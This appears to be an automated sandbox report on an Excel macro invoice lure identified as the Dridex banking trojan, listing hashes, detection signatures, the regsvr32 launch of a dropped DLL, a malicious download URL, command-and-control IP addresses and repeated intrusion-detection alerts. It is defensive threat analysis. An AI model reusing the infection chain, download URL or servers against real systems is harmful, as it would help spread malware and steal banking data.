Play interactive tour

Edit tour

Analysis Report INV8073565781-20210111319595.xlsm

Overview

General Information

Sample Name:	INV8073565781-20210111319595.xlsm
Analysis ID:	338240
MD5:	9b7c2b0abf5478ef9a23d9a9e87c7835
SHA1:	6931c4b845a8a952699d9cf85b316e3b3d826a41
SHA256:	a463f9a8842a5c947abaa2bff1b621835ff35f65f9d3272bf1fa5197df9f07d0
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: BlueMashroom DLL Load

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Document contains an embedded VBA macro which may execute processes

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Regsvr32 Anomaly

Adds / modifies Windows certificates

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Downloads executable code via HTTP

Drops PE files

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains sections with non-standard names

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the installation date of Windows

Registers a DLL

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2300 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

regsvr32.exe (PID: 960 cmdline: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll. MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 3008 cmdline: -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll. MD5: 432BE6CF7311062633459EEF6B242FB5)

DW20.EXE (PID: 2432 cmdline: 'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1016 MD5: 45A078B2967E0797360A2D4434C41DB4)

DWWIN.EXE (PID: 3068 cmdline: C:\Windows\system32\dwwin.exe -x -s 1016 MD5: 25247E3C4E7A7A73BAEEA6C0008952B1)

cleanup

Malware Configuration

Threatname: Dridex

{"Config: ": ["--------------------------------------------------", "BOT ID", "--------------------------------------------------", "Bot id : 61074", "--------------------------------------------------", "IP Address table", "--------------------------------------------------", "Address count 0"]}

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: BlueMashroom DLL Load

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll., CommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll., CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2300, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll., ProcessId: 960

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll., CommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll., CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2300, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll., ProcessId: 960

Sigma detected: Regsvr32 Anomaly

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://wexfashion.com/k04qkvqu.zip

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 4.2.regsvr32.exe.810000.1.raw.unpack

Malware Configuration Extractor: Dridex {"Config: ": ["--------------------------------------------------", "BOT ID", "--------------------------------------------------", "Bot id : 61074", "--------------------------------------------------", "IP Address table", "--------------------------------------------------", "Address count 0"]}

Multi AV Scanner detection for submitted file

Show sources

Source: INV8073565781-20210111319595.xlsm	Virustotal: Detection: 44%			Perma Link
Source: INV8073565781-20210111319595.xlsm	ReversingLabs: Detection: 32%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\k04qkvqu[1].zip	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\cjrumqtd.dll	Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49211 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49293 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49301 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49305 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49321 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49333 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49337 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49341 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49349 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49353 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49361 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49365 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49369 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49373 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49381 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49385 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49393 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49397 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\cjrumqtd.dll

Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: k04qkvqu[1].zip.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Jump to behavior

Source: global traffic

DNS query: name: wexfashion.com

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 77.220.64.37:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 198.54.125.162:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49166
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49168
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49169
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49169
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49172
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49175
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49176
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49179
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49180
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49181
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49181
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49183
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49184
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49185
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49185
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49187
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49188
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49189
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49189
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49191
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49192
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49193
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49193
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49195
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49196
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49197
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49197
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49199
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49200
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49201
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49201
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49203
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49204
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49205
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49205
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49207
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49208
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49209
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49209
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49211
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49212
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49213
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49213
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49215
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49216
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49217
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49217
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49219
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49220
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49221
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49221
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49224
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49225
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49227
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49227
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49229
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49230
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49231
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49231
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49233
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49234
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49235
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49235
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49237
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49238
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49239
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49239
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49241
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49242
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49243
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49243
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49245
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49246
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49247
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49247
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49249
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49250
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49251
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49251
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49253
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49254
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49255
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49255
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49257
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 80.86.91.27:3308 -> 192.168.2.22:49258
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49259
Source: Traffic	Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 5.100.228.233:3389 -> 192.168.2.22:49259
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 77.220.64.37:443 -> 192.168.2.22:49261
